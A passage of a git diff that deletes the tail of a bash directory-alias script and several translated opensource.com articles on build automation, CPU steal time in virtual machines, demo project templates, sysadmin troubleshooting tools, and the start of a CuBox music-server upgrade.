"$name" "$directory" -    done < "$GOTO_DB" -  else -    echo "You haven't configured any directory aliases yet." -  fi -} - -# Expands a registered alias. -_goto_expand_alias() -{ -  if [ "$#" -ne "1" ]; then -    _goto_error "usage: goto -x|--expand <alias>" -    return -  fi - -  local resolved - -  resolved=$(_goto_find_alias_directory "$1") -  if [ -z "$resolved" ]; then -    _goto_error "alias '$1' does not exist" -    return -  fi - -  echo "$resolved" -} - -# Lists duplicate directory aliases -_goto_find_duplicate() -{ -  local duplicates= - -  duplicates=$(sed -n 's:[^ ]* '"$1"'$:&:p' "$GOTO_DB" 2>/dev/null) -  echo "$duplicates" -} - -# Registers and alias. -_goto_register_alias() -{ -  if [ "$#" -ne "2" ]; then -    _goto_error "usage: goto -r|--register <alias> <directory>" -    return 1 -  fi - -  if ! [[ $1 =~ ^[[:alnum:]]+[a-zA-Z0-9_-]*$ ]]; then -    _goto_error "invalid alias - can start with letters or digits followed by letters, digits, hyphens or underscores" -    return 1 -  fi - -  local resolved -  resolved=$(_goto_find_alias_directory "$1") - -  if [ -n "$resolved" ]; then -    _goto_error "alias '$1' exists" -    return 1 -  fi - -  local directory -  directory=$(_goto_expand_directory "$2") -  if [ -z "$directory" ]; then -    _goto_error "failed to register '$1' to '$2' - can't cd to directory" -    return 1 -  fi - -  local duplicate -  duplicate=$(_goto_find_duplicate "$directory") -  if [ -n "$duplicate" ]; then -    _goto_warning "duplicate alias(es) found: \\\n$duplicate" -  fi - -  # Append entry to file. -  echo "$1 $directory" >> "$GOTO_DB" -  echo "Alias '$1' registered successfully." -} - -# Unregisters the given alias. -_goto_unregister_alias() -{ -  if [ "$#" -ne "1" ]; then -    _goto_error "usage: goto -u|--unregister <alias>" -    return 1 -  fi - -  local resolved -  resolved=$(_goto_find_alias_directory "$1") -  if [ -z "$resolved" ]; then -    _goto_error "alias '$1' does not exist" -    return 1 -  fi - -  # shellcheck disable=SC2034 -  local readonly GOTO_DB_TMP="$HOME/.goto_" -  # Delete entry from file. -  sed "/^$1 /d" "$GOTO_DB" > "$GOTO_DB_TMP" && mv "$GOTO_DB_TMP" "$GOTO_DB" -  echo "Alias '$1' unregistered successfully." -} - -# Pushes the current directory onto the stack, then goto -_goto_directory_push() -{ -  if [ "$#" -ne "1" ]; then -    _goto_error "usage: goto -p|--push <alias>" -    return -  fi - -  { pushd . || return; } 1>/dev/null 2>&1 - -  _goto_directory "$@" -} - -# Pops the top directory from the stack, then goto -_goto_directory_pop() -{ -  { popd || return; } 1>/dev/null 2>&1 -} - -# Unregisters aliases whose directories no longer exist. -_goto_cleanup() -{ -  if ! [ -f "$GOTO_DB" ]; then -    return -  fi - -  while IFS= read -r i && [ -n "$i" ]; do -    echo "Cleaning up: $i" -    _goto_unregister_alias "$i" -  done <<< "$(awk '{al=$1; $1=""; dir=substr($0,2); -                    system("[ ! -d \"" dir "\" ] && echo " al)}' "$GOTO_DB")" -} - -# Changes to the given alias' directory -_goto_directory() -{ -  local target - -  target=$(_goto_resolve_alias "$1") || return 1 - -  builtin cd "$target" 2> /dev/null || \ -    { _goto_error "Failed to goto '$target'" && return 1; } -} - -# Fetches the alias directory. -_goto_find_alias_directory() -{ -  local resolved - -  resolved=$(sed -n "s/^$1 \\\\(.*\\\\)/\\\1/p" "$GOTO_DB" 2>/dev/null) -  echo "$resolved" -} - -# Displays the given error. -# Used for common error output. -_goto_error() -{ -  (>&2 echo -e "goto error: $1") -} - -# Displays the given warning. -# Used for common warning output. -_goto_warning() -{ -  (>&2 echo -e "goto warning: $1") -} - -# Displays entries with aliases starting as the given one. -_goto_print_similar() -{ -  local similar - -  similar=$(sed -n "/^$1[^ ]* .*/p" "$GOTO_DB" 2>/dev/null) -  if [ -n "$similar" ]; then -    (>&2 echo "Did you mean:") -    (>&2 column -t <<< "$similar") -  fi -} - -# Fetches alias directory, errors if it doesn't exist. -_goto_resolve_alias() -{ -  local resolved - -  resolved=$(_goto_find_alias_directory "$1") - -  if [ -z "$resolved" ]; then -    _goto_error "unregistered alias $1" -    _goto_print_similar "$1" -    return 1 -  else -    echo "${resolved}" -  fi -} - -# Completes the goto function with the available commands -_complete_goto_commands() -{ -  local IFS=$' \t\n' - -  # shellcheck disable=SC2207 -  COMPREPLY=($(compgen -W "-r --register -u --unregister -p --push -o --pop -l --list -x --expand -c --cleanup -v --version" -- "$1")) -} - -# Completes the goto function with the available aliases -_complete_goto_aliases() -{ -  local IFS=$'\n' matches -  _goto_resolve_db - -  # shellcheck disable=SC2207 -  matches=($(sed -n "/^$1/p" "$GOTO_DB" 2>/dev/null)) - -  if [ "${#matches[@]}" -eq "1" ]; then -    # remove the filenames attribute from the completion method -    compopt +o filenames 2>/dev/null - -    # if you find only one alias don't append the directory -    COMPREPLY=("${matches[0]// *}") -  else -    for i in "${!matches[@]}"; do -      # remove the filenames attribute from the completion method -      compopt +o filenames 2>/dev/null - -      if ! [[ $(uname -s) =~ Darwin* ]]; then -        matches[$i]=$(printf '%*s' "-$COLUMNS" "${matches[$i]}") - -        COMPREPLY+=("$(compgen -W "${matches[$i]}")") -      els \ No newline at end of file diff --git a/sources/tech/20200108 Automating the creation of research artifacts.md b/sources/tech/20200108 Automating the creation of research artifacts.md deleted file mode 100644 index e5d3f96163..0000000000 --- a/sources/tech/20200108 Automating the creation of research artifacts.md +++ /dev/null @@ -1,232 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Automating the creation of research artifacts) -[#]: via: (https://opensource.com/article/20/1/automating-documentation) -[#]: author: (Kiko Fernandez-Reyes https://opensource.com/users/kikofernandez) - -Automating the creation of research artifacts -====== -A simple way to automate generating source code documentation, creating -HTML and PDF versions of user documentation, compiling a technical -(research) document to PDF, generating the bibliography, and -provisioning virtual machines. -![Files in a folder][1] - -In my work as a programming language researcher, I need to create [artifacts][2] that are easy to understand and well-documented. To make my work easier, I found a simple way to automate generating source code documentation, creating HTML and PDF versions of user documentation, compiling a technical (research) document to PDF, generating the bibliography, and provisioning of virtual machines with the software artefact installed for ease of reproducibility of my research. - -The tools I use are: - - * [Make][3] makefiles for overall orchestration of all components - * [Haddock][4] for generating source code documentation - * [Pandoc][5] for generating PDF and HTML files from a Markdown file - * [Vagrant][6] for provisioning virtual machines - * [Stack][7] for downloading Haskell dependencies, compiling, running tests, etc - * [pdflaTeX][8] for compiling a LaTeX file to PDF format - * [BibTeX][9] for generating a bibliography - * [Zip][10] to pack everything and get it ready for distribution - - - -I use the following folder and file structure: - - -``` -├── Makefile -├── Vagrantfile -├── code -│   └── typechecker-oopl (Project) -│       ├── Makefile -│       └── ... -│ -├── documentation -│   ├── Makefile -│   ├── README.md -│   ├── assets -│   │   ├── pandoc.css (Customised CSS for Pandoc) -│   │   └── submitted-version.pdf (PDF of your research) -│   └── meta.yaml -│ -├── research -│   ├── Makefile -│   ├── ACM-Reference-Format.bst -│   ├── acmart.cls -│   ├── biblio.bib -│   └── typecheckingMonad.tex -``` - -The Makefile glues together the output from all of the tools listed above. The **code** folder contains the source code of the tool/language I created. The **documentation** folder contains a Makefile that has instructions on how to generate PDF and HTML versions of the user instructions, located in the README.md file. I generate the PDF and HTML user documentation using Pandoc. The **assets** are simply the CSS style to use and a PDF of my research article that will be hyperlinked from the user-generated documentation, so that it is easy to follow. **meta.yaml** contains meta instructions for generating the user documentation, used by Pandoc for e.g., for author names. The **research** folder contains my research article in LaTeX format, but it could hold any other technical document. - -As you can see in the structure, I have a [Makefile][11] for each folder to decouple each Makefile's responsibility and keep a (somewhat) maintainable design. Here is an overview of the top-level Makefile, which orchestrates generating the user documentation, research paper, bibliography, documentation from source code, and provisioning of a virtual machine. - - -``` -all: doc gen - -doc: -        make -C $(DOC_SRC) $@ -        make -C $(CODE_PATH) $@ -        make -C $(RESEARCH) - -gen: -        # Creation of folder with artefact, empty at the moment -        mkdir -p $(ARTEFACT_FOLDER) - -        # Moving user documentation to artefact folder -        cp $(DOC_SRC)/$(README).pdf $(ARTEFACT_FOLDER) -        cp $(DOC_SRC)/$(README).html $(ARTEFACT_FOLDER) -        cp -r $(DOC_SRC)/$(ASSETS) $(ARTEFACT_FOLDER) - -        # Moving research article to artefact folder -        cp $(RESEARCH)/$(RESEARCH_PAPER).pdf $(ARTEFACT_FOLDER)/$(ASSETS)/submitted-version.pdf - -        # Moving code and autogenerated doc to artefact folder -        cp -r $(CODE_PATH) $(ARTEFACT_FOLDER) -        cd $(ARTEFACT_FOLDER)/$(CODE_SRC) -        $(STACK) -        cd ../.. -        rm -rf $(ARTEFACT_FOLDER)/$(DOC_SRC) -        mv $(ARTEFACT_FOLDER)/$(CODE_SRC)/$(HADDOCK) $(ARTEFACT_FOLDER)/$(DOC_SRC) - -        # zip it! -        zip $(ZIP_FILE) $(ARTEFACT_FOLDER) - -update: -        vagrant up -        vagrant provision - -clean: -        rm -rf $(ARTEFACT_FOLDER) - -.PHONY: all clean doc gen update -``` - -First, the **doc** target generates the user documentation using Pandoc, then it uses Haddock to generate the documentation from the Haskell library source code, and finally, it creates a PDF from the LaTeX file. As depicted in the image below, the generated user documentation is in HTML and CSS. The user documentation contains links to the generated source code documentation, also in HTML and CSS, and to the technical (research) paper . The generated source code documentation links directly to the source code, in case the reader would like to understand the implementation. - -![Artifact automation structure][12] - -The user documentation is generated with the following Makefile: - - -``` -DOCS=README.md -META=meta.yaml -NUMBER_SECTION_HEADINGS=-N - -.PHONY: all doc clean - -all: doc - -doc: $(DOC) -        pandoc -s $(META) $(DOCS) --listings --pdf-engine=xelatex -c assets/pandoc.css -o $(DOCS:md=pdf) -        pandoc -s $(META) $(DOCS) --self-contained -c assets/pandoc.css -o $(DOCS:md=html) - -clean: -        rm $(DOCS:md=pdf) $(DOCS:md=html) -``` - -To generate documentation from Haskell code, I use this other Makefile, which makes use of Stack to compile the library and download dependencies, and Haddock (inside its OPTS, or options) to create documentation in HMTL: - - -``` -OPTS=exec -- haddock --html --hyperlinked-source --odir=docs - -doc: -        stack $(OPTS) src/Initial/AST.hs src/Initial/Typechecker.hs \ -        src/Reader/AST.hs src/Reader/Typechecker.hs \ -        src/Backtrace/AST.hs src/Backtrace/Typechecker.hs \ -        src/Warning/AST.hs src/Warning/Typechecker.hs \ -        src/MultiError/AST.hs src/MultiError/Typechecker.hs \ -        src/PhantomFunctors/AST.hs src/PhantomFunctors/Typechecker.hs \ -        src/PhantomPhases/AST.hs src/PhantomPhases/Typechecker.hs \ -        src/Applicative/AST.hs src/Applicative/Typechecker.hs \ -        src/Final/AST.hs src/Final/Typechecker.hs - -.PHONY: doc -``` - -I compile the research paper from LaTeX to PDF with this simple Makefile: - - -``` -.PHONY: research - -research: -        pdflatex typecheckingMonad.tex -        bibtex typecheckingMonad -        pdflatex typecheckingMonad.tex -        pdflatex typecheckingMonad.tex -``` - -The virtual machine (VM) relies on Vagrant and the Vagrantfile, where I can write all the commands to set up the VM. The one thing that I do not know how to automate is moving all of the documentation, once it is generated, into the VM. If you know how to transfer the file from the host machine to the VM, please share your solution in the comments. That means that, currently, I manually enter in the VM and place the documentation in the Desktop folder. - - -``` -# All Vagrant configuration is done below. The "2" in Vagrant.configure -# configures the configuration version (we support older styles for -# backwards compatibility). Please don't change it unless you know what -# you're doing. -Vagrant.configure("2") do |config| -  config.vm.box = "ubuntu/trusty64" -  config.ssh.username = "vagrant" -  config.ssh.password = "vagrant" -  config.vm.provider "virtualbox" do |vb| -    # Display the VirtualBox GUI when booting the machine -    vb.gui = true - -    # Customize the amount of memory on the VM: -    vb.memory = "2048" -    vb.customize ["modifyvm", :id, "--vram", "64"] -  end -  config.vm.provision "shell", inline: <<-SHELL -    ## Installing dependencies, comment after this has been done once. -    # sudo apt-get update -y -    # sudo apt-get install ubuntu-desktop -y -    # sudo apt-get install -y build-essential linux-headers-server - -    # echo 'PATH="/home/vagrant/.local/bin:$PATH"' >> /home/vagrant/.profile - -    ## Comment and remove the folder sharing before submission -    mkdir -p /home/vagrant/Desktop/TypeChecker -    cp -r /vagrant/artefact-submission/* /home/vagrant/Desktop/TypeChecker/ -    chown -R vagrant:vagrant /home/vagrant/Desktop/TypeChecker/ -  SHELL -end -``` - -With this final step, everything has been wired. You can see one example of the result [in HTML][13] and [in PDF][14]. I have created a [GitHub repo with all the source code][15] for ease of study and reproducibility. - -I have used this setup for two conferences—the European Conference on Object-Oriented Programming (ECOOP) and the International Conference on Software Language Engineering (SLE), where we won (in both) the Disguinshed Artifact Award. - -Pinterest software engineer Baogang Song tells us about Pinrepo, Pinterest's open source solution... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/automating-documentation - -作者:[Kiko Fernandez-Reyes][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/kikofernandez -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/files_documents_paper_folder.png?itok=eIJWac15 (Files in a folder) -[2]: https://en.wikipedia.org/wiki/Artifact_%28software_development%29 -[3]: https://en.wikipedia.org/wiki/Make_%28software%29 -[4]: https://www.haskell.org/haddock/ -[5]: https://pandoc.org/ -[6]: https://www.vagrantup.com/ -[7]: https://docs.haskellstack.org/en/stable/README/ -[8]: https://linux.die.net/man/1/pdflatex -[9]: http://www.bibtex.org/ -[10]: https://linux.die.net/man/1/zip -[11]: https://opensource.com/article/18/8/what-how-makefile -[12]: https://opensource.com/sites/default/files/uploads/makefile_pandoc_haddock.png (Artifact automation structure) -[13]: https://www.plresearcher.com/files/monadic-typechecker/README.html -[14]: https://www.plresearcher.com/files/monadic-typechecker/README.pdf -[15]: https://github.com/kikofernandez/pandoc-examples/tree/master/artefact-creation diff --git a/sources/tech/20200108 Detecting CPU steal time in guest virtual machines.md b/sources/tech/20200108 Detecting CPU steal time in guest virtual machines.md deleted file mode 100644 index ed532cecd5..0000000000 --- a/sources/tech/20200108 Detecting CPU steal time in guest virtual machines.md +++ /dev/null @@ -1,70 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Detecting CPU steal time in guest virtual machines) -[#]: via: (https://opensource.com/article/20/1/cpu-steal-time) -[#]: author: (Jamie Fargen https://opensource.com/users/jamiefargen) - -Detecting CPU steal time in guest virtual machines -====== -Is your VM getting all of its vitamin CPU? Use GNU top to find out -what's causing guest performance issues. -![and old computer and a new computer, representing migration to new software or hardware][1] - -CPU steal time is defined in the [GNU **top**][2] command as "time stolen from [a] VM by the hypervisor." CPU steal time occurs when a hypervisor process and a guest instance are trying to utilize the same hypervisor physical core (pCPU) at the same time. This results in less processor time available to the guest's virtual CPU (vCPU) and performance degradation for the guest. - -In today's virtualized environments (which have become nearly universal with the adoption of public and private clouds), a guest instance can experience performance CPU steal time under several scenarios: - - * Oversubscription of the hypervisor and multiple guest VMs' vCPUs with high CPU utilization are running on the same pCPUs. - * The guest vCPU and its emulator thread are pinned to the same pCPU resulting in vhost processes stealing CPU time from the guest vCPU while processing I/O. - * Hypervisor processes, like monitoring, logging, and I/O processes, are concurrently using a pCPU that is also in use by a guest VM vCPU. - - - -Normally, a systems engineer brought in to investigate an application or system performance issue will find that the system's performance is degraded due to CPU time stolen from the guest. The guest's performance issues usually become apparent in the form of low disk or network I/O performance, network packet loss, and other application performance anomalies. - -Even when a system administrator is observing the guest and the hypervisor, it can be difficult to narrow down the cause of the guest instance's degraded performance due to CPU steal time. There are a few reasons for the difficulty. First, CPU steal time is not logged by any of the commonly monitored log files. A hypervisor that is being observed may be expected to be under heavy load but steal time can occur on hypervisors that are under normal load. And finally, administrators may not be aware that hypervisor CPU contention can be observed from within the guest VM instance using GNU top. - -Fortunately, GNU top indeed makes it quite easy to detect CPU steal time on a guest VM instance. Steal time is displayed in top's output at the end of line 3, which beings with **%Cpu(s)**, as shown in the following screenshots (it is the value at the end, labeled **st**.) The first example shows a guest with little steal time: - -![Output of the top command showing low CPU steal time][3] - -Output of the top command from a guest experiencing a low CPU steal time of 0.2 st. - -This screenshot shows a guest experiencing heavy CPU steal time: - -![Output of the top command showing high CPU steal time][4] - -Output of the top command from a guest experiencing a heavy CPU steal time of 9.0 st. - -In both examples, the stress tool was executed with four processes that consumed all four vCPUs of the guest instance. In the first example, the hypervisor was relatively idle, so the guest's steal time was just 0.2. But in the second example, the stress tool was executed at the same time on the hypervisor with eight processes that consumed all eight of the hypervisors' pCPUs, which produced a high CPU steal time of 9.0. - -There is another sign of steal time in the second example: the stress utility process cannot consume ~100% of the guests' vCPUs; it can only consume 99.3%, 99.3%, 86.4%, and 74.4%, respectively. In total, this is equal to 40.3% of a guest vCPU's being stolen. This is because the hypervisor is consuming cycles on the same pCPUs that the guest vCPU's processes are using. - -### Using top to mitigate poor performance - -This example shows how the oversubscription of guest VM instances and other processes on a hypervisor can contend with a guest, and how to use GNU top to detect it based on the CPU steal time percentage on a guest VM. - -It is important to detect this type of performance degradation in a guest VM so that you can mitigate the cause of poor system and application performance. In a public cloud, the only solution might be migrating the instance or changing to an instance type with guaranteed pCPU service-level agreements (SLAs). In a private cloud, there are more options, but again, the simplest approach may be to migrate the instance to a hypervisor with lower utilization. However, if many guest instances experience high CPU steal time, you will need to make changes to how guests' and hypervisors' processes are managed to attain guest instances' performance SLAs. - -David Both explains the importance of keeping hardware cool and shares some Linux tools that can... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/cpu-steal-time - -作者:[Jamie Fargen][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/jamiefargen -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/migration_innovation_computer_software.png?itok=VCFLtd0q (and old computer and a new computer, representing migration to new software or hardware) -[2]: https://en.wikipedia.org/wiki/Top_(software) -[3]: https://opensource.com/sites/default/files/uploads/cpu-steal-time_1.png (Output of the top command showing low CPU steal time) -[4]: https://opensource.com/sites/default/files/uploads/cpu-steal-time_2.png (Output of the top command showing high CPU steal time) diff --git a/sources/tech/20200109 Create demo project templates with one script.md b/sources/tech/20200109 Create demo project templates with one script.md deleted file mode 100644 index 950ec0e85f..0000000000 --- a/sources/tech/20200109 Create demo project templates with one script.md +++ /dev/null @@ -1,130 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Create demo project templates with one script) -[#]: via: (https://opensource.com/article/20/1/initsh-script) -[#]: author: (Eric D. Schabell https://opensource.com/users/eschabell) - -Create demo project templates with one script -====== -This init.sh script makes it easier to create demos to convince your -customers, team, and boss that your project is exactly what they need. -![Person using a laptop][1] - -When you're standing on a stage or doing a live demo in an online session, getting your project into a perfect-looking state may appear easy. But a lot of work goes on behind the scenes to create working, easy to use, and repeatable demo projects. - -When you're doing a demo, the technology in a project must support your bigger story about the project without failing. My fellow JBoss technology evangelists and I often have to set up different technologies, so it became necessary for us to tune some sort of generic framework or template to put these demo projects into. - -Achieving this goal was guided by three principles: - - * KISS (keep it simple, stupid) - * Consistency - * Repeatability - - - -These stem from our aim to support anyone who wants to explore and get started with a JBoss technology. Note that while the order of these principles has some significance about what is most important, they all have to balance each other. - -If one must be weighed more heavily, when using technology, it is KISS. Therefore, you will find that this principle is followed almost religiously when deciding how to solve anything within the demo project template. - -### Simple - -The demos need to have a simple set up, taking almost no effort to get them started or, more realistically, the least amount of effort possible. - -Each project requires just three steps to get going: - - 1. Download and unzip the project. - 2. Add products to the project's **installs** directory. - 3. Run **init.sh** (for Unix) or **init.bat** (for Windows) to install the project. - - - -That's it; just watch the install's output to continue with the project as you see fit. - -This setup also relies on the very smallest or most basic set of dependencies that are physically possible for Unix- and Windows-based systems—Java and Maven, nothing more than that. - -A demo is all about learning what the project in front of you does, so it must be clear and offer the possibility to explore how the project is set up, configured, and runs. Based on users' feedback over the years, full automation is not desirable, as it takes the project out of the user's learning sphere. - -There is a balance offered when installing a project with autoconfiguration and setup, but there are still some steps that allow you to pause, consider, and explore what has been done. - -### Consistent - -The only way for people to be able to jump between our various technologies and products is to have some consistency in our demo projects. A customer, partner, or interested party needs to be able to recognize a simple and clear form of project setup. - -This is done with a simple and clear project template structure: - - * **docs/** contains project documentation and screenshots. - * **installs/** is where you place needed products. - * **projects/** contains sources for services, clients, or other project-based code. - * **support/** holds all other configuration, setup, or other necessary files and utilities. - * **init.{sh|bat}** stores installation scripts needed to set up the project. - - - -That's it; every single time it will look like this. - -### Repeatable - -Nothing is worse than spending a large amount of time to provide a demo project and only being able to run it one time. Often, there is some factor that rushes a project's completion so that you have little chance to bring some sort of order to it. - -Our template allows you to develop a demo project while saving its repeatability. Note that the entire setup is done in a new directory called **target**, where you can throw it all away and just set the project up again (with the initial **init** script). - -This is a golden rule: Every demo project should be repeatable in minutes, if not less. - -### Generic demo template project - -You want to create your own awesome demo to convince your friends, team, and boss that your project is exactly what the doctor ordered? This template will provide the tools to set up simple, consistent and easily repeatable demo projects. - -### Getting started with this template - - 1. [Download and unzip it][2]. - - - -Run **init.sh** to populate a project, and see the README files that are generated for how to use it: - - -``` -`$ ./init.sh PROJECTNAME` -``` - -#### - -![Setting up your project][3] - -#### Released versions - - * v2.0—Updated to generic template project creation - * v1.0—Image added and final touches - - - -  - -![Installing the template][4] - -![Installing the template][5] - -_This article is adapted from "How to create simple, consistent, repeatable demo projects" on [Eric D. Schabell's blog][6] and is reused with permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/initsh-script - -作者:[Eric D. Schabell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/eschabell -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/laptop_screen_desk_work_chat_text.png?itok=UXqIDRDD (Person using a laptop) -[2]: https://github.com/jbossdemocentral/jboss-demo-template/archive/master.zip -[3]: https://opensource.com/sites/default/files/uploads/settingup_demotemplate.png (Setting up your project) -[4]: https://opensource.com/sites/default/files/uploads/install_eric_schabell.png (Installing the template) -[5]: https://opensource.com/sites/default/files/uploads/install-2_eric_schabell.png (Installing the template) -[6]: http://www.schabell.org/2015/02/jboss-evangelist-howto-create-demo-projects.html diff --git a/sources/tech/20200110 5 ops hacks for sysadmins.md b/sources/tech/20200110 5 ops hacks for sysadmins.md deleted file mode 100644 index 409d5a0716..0000000000 --- a/sources/tech/20200110 5 ops hacks for sysadmins.md +++ /dev/null @@ -1,105 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (5 ops hacks for sysadmins) -[#]: via: (https://opensource.com/article/20/1/ops-hacks-sysadmins) -[#]: author: (Stephen Bancroft https://opensource.com/users/stevereaver) - -5 ops hacks for sysadmins -====== -Five tools to help you find the source of your users' IT problems when -you don't know where to start. -![Wratchet set tools][1] - -As a sysadmin, every day I am faced with problems I need to solve quickly because there are users and managers who expect things to run smoothly. In a large environment like the one I manage, it's nearly impossible to know all of the systems and products from end to end, so I have to use creative techniques to find the source of the problems and (hopefully) come up with solutions. - -This has been my daily experience for well over 20 years, and I love it! Coming to work each day, I never quite know what will happen. So, I have a few quick and dirty tricks that I default to when a problem lands on my lap, but I don't know where to start. - -_BUT WAIT!_ Before you jump straight onto the command line, spend some time talking to your users. Yes, it can be tedious, but they will have some good information for you. Keep in mind that users probably don't have as much experience as you have, and you will need to do some interpreting of whatever they say. Try to get a clear picture of what _is_ happening and what _should be_ happening, then describe the fault to yourself in technical language. Be aware that most users don't read what is on the screen in front of them; it's sad but true. Make sure you and the user are reading all of the text to gather as much information as possible. Once you have that together, jump onto the command line with these five tools. - -### Telnet - -I am starting with a classic. [Telnet][2] was the predecessor to SSH, and, in the olden days, it was used on Unix systems to connect to a remote terminal just like SSH does, but it was not encrypted. Telnet has a very neat and invaluable trick for diagnosing network connectivity issues: you can Telnet into TCP ports that are not reserved for it. To do so, use Telnet like you normally would, but add the TCP port onto the end (**telnet localhost 80,** for instance) to connect to a web server. This enables you to check a server to see if a service is running or if a firewall is blocking it. So, without having the application client or even a login for the application, you can check if the TCP port is responding. If you know how, sometimes you can elicit a response from the server by manually typing into the Telnet prompt and checking the response. Web servers and mail servers are two examples where you can do this. - -![Getting a response from a webserver with Telnet][3] - -### Tcpdump - -The [tcpdump][4] tool lets you inspect what data is being transmitted on the network. Most network protocols are fairly simple and, if you combine tcpdump with a tool like [Wireshark][5], you will have a nice, easy way to browse the traffic that you have captured. In the example below, I am inspecting packets in the bottom window and connecting to TCP port 3260 in the top. - -![Inspecting packets in real time with tcpdump][6] - -This screenshot shows a real-world use of Wireshark to look at the iSCSI protocol; in this case, I was able to identify that there was a problem with the way our QNAP network-attached storage was configured. - -![Using Wireshark to inspect a TCP session][7] - -### find - -The [find][8] command is simply the best tool if you don't know where to start. In its most simple form, you can use it to "find" files. For example, if I wanted to do a recursive search through all directories and get a list of the conf files, I could enter: - - -``` -`find . -name '*.conf'.` -``` - -![find command output][9] - -But one of find's hidden gems is that you can use it to execute a command against each item it finds. For example, if I wanted to get a long list of each file, I could enter: - - -``` -`find . -name '*.conf' -exec ls -las {} \;` -``` - -![find command output][10] - -Once you know this technique, you can use it in all sorts of creative ways to find, search, and execute programs in specific ways. - -### strace - -I was introduced to the concept of [strace][11] on Solaris, where it is called truss. It is still as useful today as it was all those years ago. strace allows you to inspect what a process is doing as it runs in real time. Using it is simple; just use the command **ps -ef** and find the process ID that you are interested in. Start strace with **strace -p <pid>**; this will start printing out a whole lot of stuff, which at first looks like junk. But if you look closer, you will see text that you recognize, such as words like **OPEN** and **CLOSE** and filenames. This can lead you in the right direction if you are trying to figure out why a program is not working. - -### grep - -Leaving the best for last: [grep][12]. This tool is so useful and powerful that I have trouble coming up with a succinct way to describe it. Put simply, it's a search tool, but the way it searches is what makes it so powerful. In problem analysis, I typically grep over a bunch of logs to search for something. A companion command called zgrep does the same thing with zipped files. In the following example, I used **zgrep /var/log/* bancroft** to grep across all the log files to see what I have been up to on the system. I used zgrep because there are zipped files in the directory. - -![grep command output][13] - -Another great way to use grep is for piping the output of other tools into it; this way, it can be used as a filter of sorts. In the following example, I listed the auth file and grepped for my login to see what I have been doing by using **cat auth.log |grep bancroft**. This can also be written as **grep bancroft auth.log**, but I used the pipe (**|**) to demonstrate the point. - -![grep command output][14] - -### Other tools to consider - -You can do a lot more with these tools, but I hope this brief introduction gives you a window into how to use them to solve the nasty problems that come your way. Another tool worth your attention is [Nmap][15], which I did not include because it is so comprehensive that it needs an entire article (or more) to explain it. Finally, I recommend learning some white hat and hacking techniques; they can be very beneficial when trying to get to the bottom of a problem because they can help you collect information that can be crucial in decision making. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/1/ops-hacks-sysadmins - -作者:[Stephen Bancroft][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/stevereaver -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/tools_osyearbook2016_sysadmin_cc.png?itok=Y1AHCKI4 (Wratchet set tools) -[2]: https://en.wikipedia.org/wiki/Telnet -[3]: https://opensource.com/sites/default/files/uploads/telnet_1.png (Getting a response from a webserver with Telnet) -[4]: https://www.tcpdump.org/ -[5]: https://www.wireshark.org/ -[6]: https://opensource.com/sites/default/files/uploads/tcpdump_1.png (Inspecting packets in real time with tcpdump) -[7]: https://opensource.com/sites/default/files/uploads/tcpdump_2.png (Using Wireshark to inspect a TCP session) -[8]: https://en.wikipedia.org/wiki/Find_%28Unix%29 -[9]: https://opensource.com/sites/default/files/uploads/find_1_0.png (find command output) -[10]: https://opensource.com/sites/default/files/uploads/find_2.png (find command output) -[11]: https://strace.io/ -[12]: https://en.wikipedia.org/wiki/Grep -[13]: https://opensource.com/sites/default/files/uploads/grep_1.png (grep command output) -[14]: https://opensource.com/sites/default/files/uploads/grep_2.png (grep command output) -[15]: https://nmap.org/ diff --git a/sources/tech/20200110 How I upgraded my CuBox open source music server.md b/sources/tech/20200110 How I upgraded my CuBox open source music server.md deleted file mode 100644 index b4651d48c4..0000000000 --- a/sources/tech/20200110 How I upgraded my CuBox open source music server.md +++ /dev/null @@ -1,237 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (How I upgraded my CuBox open source music server) -[#]: via: (https://opensource.com/article/20/1/upgrade-cubox-open-source-music-server) -[#]: author: (Chris Hermansen https://opensource.com/users/clhermansen) - -How I upgraded my CuBox open source music server -====== -Our resident audiophile explains how he updated his CuBox music server -after more than five years of excellent use. -![open source music with piano keys background][1] - -Back in early 2014, I purchased my first [ARM-based computer][2], a [SolidRun CuBox-i4][3]. My goal for the CuBox was to have a headless device (e.g., no display) that takes up minimal space in the audio 